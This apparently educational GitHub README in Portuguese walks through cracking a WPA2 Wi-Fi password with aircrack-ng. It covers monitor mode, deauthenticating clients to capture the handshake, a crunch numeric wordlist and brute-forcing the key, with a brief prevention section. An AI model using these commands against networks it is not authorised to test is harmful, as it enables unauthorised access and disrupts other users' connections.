ViniciusRomano / brutalforce-wpa2-tutorial

Tutorial para quebrar senhas de redes Wifi WPA/WPA2, utilizando o método de força bruta.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Tutorial - Wi-Fi Cracking WPA/WPA2 (Brute Force)

Introdução

Este tutorial tem o propósito de ilustrar, de maneira simplificada, de como ter o acesso de uma rede Wifi protegida com os métodos de criptográfia WPA/WPA2. Este tutorial foi desenvolvido como trabalho final para a mateŕia de Segurança e Auditoria de Sistemas, na Universidade Tecnológica Federal do Paraná (UTFPR-CP). Em um breve resumo, faremos um ataque de força bruta em cima de uma captura de pacotes, obtidos monitorando o tráfego da rede. Esse ataque é realizado com uma lista de possíveis senhas daquela rede Wifi.

ATENÇÃO: Este tutorial foi realizado para fins educacionais, e não deveser utilizada para atividades ilegais. O autor não é responsabilizado pelo uso indevido do mesmo

Pré requisitos

Neste tutorial será necessário que você:

  • Esteja usando uma distro linux baseada no debian, de preferência o Kali linux.
  • Ter o Aircrack-ng e o Crunch instalado em seu computador. Para instalar, use o seguintes comandos: Para instalar o Aircrack-ng
     sudo apt-get install aircrack-ng
    
    Para instalar o Crunch
    sudo apt-get install crunch
    
  • Ter uma placa de rede sem fio que suporta o modo monitor. Aqui uma lista das placas de redes sem fio que suportam o modo monitor (Normalmente os todos notebooks suportam o modo monitor.)

Tutorial

Modo monitor

As placas de rede permitem alguns modos diferentes de operação. que são eles: Master (Atua como access point), Managed (cliente padrão), Ad hoc, Mesh, Repeater, Promiscuous, e o Monitor mode. Utilizaremos nossa placa de rede no modo monitor, em que ela permite que seu computador monitore todo o tráfego recebido da rede sem fio. Ao contrário do modo promíscuo, o modo monitor consegue capturar os pacotes sem estar associado a um access point. Primero passo, precisamos listar as interfaces de rede de seu computador, para isso digite o seguinte comando:

sudo airmon-ng

Com isso, aparecerá algo parecido com isto em seu terminal:

Interface   	Chipset	        	Driver
wlan0	    	Atheros AR9485	    ath9k - [phy0]

Caso não liste nada, sua placa de rede não suporta o modo monitor.

No meu caso, o nome da minha interface wireless é wlan0. No seu caso pode ser diferente, mas para o termino deste tutorial iremos utilizar a wlan0. Para iniciarmos o modo monitor basta digitar no terminal o seguinte comando:

sudo airmon-ng start wlan0

Neste momento, poderá dar um erro avisando que alguns processos que estão rodando poderão causar problemas. Para isso, você precisará usar o seguinte comando:

sudo airmon-ng check kill

Para confirmar se temos o modo monitor iniciado, é só utilizar o seguinte comando no terminal:

iwconfig

Se tudo estiver ocorrendo como planejado, aparecerá isto em seu terminal:

wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=15 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
          
lo        no wireless extensions.

enp2s0    no wireless extensions.

mon0      IEEE 802.11  Mode:Monitor  Tx-Power=15 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

Encontrando seu alvo

Para iniciarmos a escuta da rede, utilizaremos o seguinte comando abaixo:

sudo airodump-ng mon0

Se tudo estiver ocorrendo como planejado, aparecerá isto em seu terminal:

 CH  4 ][ Elapsed: 8 s ][ 2017-11-19 00:09                                         
                                                                                                                                                                         
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                                         
 EC:4D:47:B3:F5:88  -65       90     3579  346   1  54e  WPA2 CCMP   PSK  MinhaCasa                                                                                    
 A0:F3:C1:BC:9E:2B  -85       67        0    0   1  54e. WPA2 CCMP   PSK  Sadi Isper                                                                                     
                                                                                                                                                                         
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                               
                                                                                                                                                                          
 (not associated)   8C:FA:BA:E4:A3:69  -80    0 - 1      0        2                                                                                                       
 (not associated)   C0:21:0D:DD:30:DF  -89    0 - 1      0        1                                                                                                       
 EC:4D:47:B3:F5:88  24:F5:AA:66:5A:54   -1    0e- 0      0     1878                                                                                                       
 EC:4D:47:B3:F5:88  F8:E0:79:C2:DE:17  -40    0 - 1      0        1                                                                                                       
 EC:4D:47:B3:F5:88  1C:87:2C:93:1C:AC  -53    0e- 0   1101     1716                                                                                                       
 EC:4D:47:B3:F5:88  14:1A:A3:FC:E7:E9  -78    0 - 6      0        1    

Como este tutorial foi feito para fins educacionais, a rede que iremos atacar é a que tem ESSID (nome da rede Wifi) é a "MinhaCasa", por motivos de eu ser o dono da rede. Para o próximo passo, precisaremos de duas informações desta etapa, o BSSID (Endereço MAC da rede) e o canal em que está sendo utilizado. No nosso caso, as informações serão as seguinte:

  • BSSID: EC:4D:47:B3:F5:88
  • CH (canal): 1

Capturando o Handshake

As redes que utiizam criptográfia WPA/WPA2 utilizam o "4-way handshake". O que precisamos saber neste momento é que para a conexão entre access point e cliente,é necessário uma série de quatro pacotes é usada para negociar uma chave criptográfica, que será utilizada para criptografar o processo de autenticação. Coletando estes pacotes, podemos conseguir a senha da rede Wifi. Para começar a captura dos pacotes, utilizaremos os seguintes comandos:

## -c: Canal em que se encontra a rede
## --bssid: Endereço MAC do access point
## -w: Diretório que ficará salvo a captura dos pacotes

sudo airodump-ng -c 1 --bssid EC:4D:47:B3:F5:88 -w . mon0

Para que a conexão entre cliente e access point seja desconectada, nos passaremos pelo access point e enviaremos frames (unidade de dados na camada de enlace) para os clientes. Os principais tipos de frames são os Data Frames(para transmissão de dados), Control Frames(controle de acesso do meio) e os Management frames(possuem informações de gerenciamento). Dentro dos Management frames, existe um frame que tem o nome de Deauthentication, que serve para desconectar de forma segura os dispositivos na rede. Como as informações estão sendo capturadas no passo anterior, iremos desautenticar o dispositivo da rede (faremos este passo em outro terminal), utilizando este frame. Isto só ocorre pois os frames criptografados são somente o do tipo Data frames. Utilizaremos o seguinte comando para que isso aconteça:

## -0 2 : enviará dois pacotes "deauth". (Isso irá desconectar o cliente da rede wifi por alguns instantes)
## -a: Endereço MAC do access point
## -c: O Endereço MAC do dispositivo em específico, que será utilizado para obter o "Handshake". 
## Caso queira mandar para todos os dispositivos da rede, é só não utilizar o argumento -c, como no exemplo abaixo:
sudo aireplay-ng -0 2 -a EC:4D:47:B3:F5:88 mon0

Caso conseguirmos os pacotes do Handshake, irá aparecer no primeiro terminal algo parecido comWPA handshake: 00:00:00:00:00.Portanto, podemos parar de capturar os pacotes, apertando Ctrl+C. Os pacotes ficaram salvos como nome de .-01.cap(o arquivo ficará oculto). Neste tutorial, iremos trocar o nome para 'mypackages.cap'.

Criando a Wordlist

Na criação de uma wordlist, é interessante que se conheça o alvo atacado, criando assim uma wordlist específica para aquele alvo. Para este tutorial, criaremos uma wordlist que conterá somente números,tendo no total de 8 caracteres de tamanho. Para criar a wordlist utilizaremos o crunch. O primeiro argumento será o número mínimo de caracteres que queremos nossa senha. O segundo argumento será o número máximo de caracteres que queremos nossa senha. O terceiro argumento será os caracteres que queremos combinar na nossa senha. Sabemos que o número mínimo de caracteres em uma senha WPA2 é de 8 caracteres, portanto criaremos uma wordlist que cobrirá todos os números de 8 caracteres (00000000 até 99999999). Para isso o usaremos o seguinte comando no terminal:

## -o: nome do arquivo de saída

crunch 8 8 0123456789 -o mywordlist.txt

Para wordlist mais elaboradas, digite no terminal man crunch.

Obtendo a senha

Como no passo anterior já criamos uma wordlist para o ataque, utilizaremos o seguinte comando no terminal

## -a2: Especificando que a rede é WPA2
## -b: Endereço MAC do access point 
## -w: A wordlist criada
aircrack-ng -a2 -b EC:4D:47:B3:F5:88 -w mywordlist.txt mypackages.cap

Neste momento, começará o ataque por força bruta nos pacotes capturados. Quando a senha na wordlist for a senha desejada, irá aparecer no terminal algo parecido com isso, informando a senha da rede Wifi:

                                 Aircrack-ng 1.2 beta3


                   [00:00:12] 1414 keys tested (1017.96 k/s)


                         KEY FOUND! [ 00001414 ]


      Master Key     : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 
                       59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E 

      Transient Key  : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 
                       2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 
                       6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 
                       8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21 

      EAPOL HMAC     : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4 

Voltando para modo managed

Para voltar sua placa de rede para o modo managed (cliente), basta seguir o comando no terminal:

service network-manager restart

Maneiras de previnir este ataque

Existem duas formas de prevenção deste tipo de ataque, que são elas:

  • Colocar uma senha forte o suficiente.
  • Implementar segurança nos frames de tipo "Management".

About

Tutorial para quebrar senhas de redes Wifi WPA/WPA2, utilizando o método de força bruta.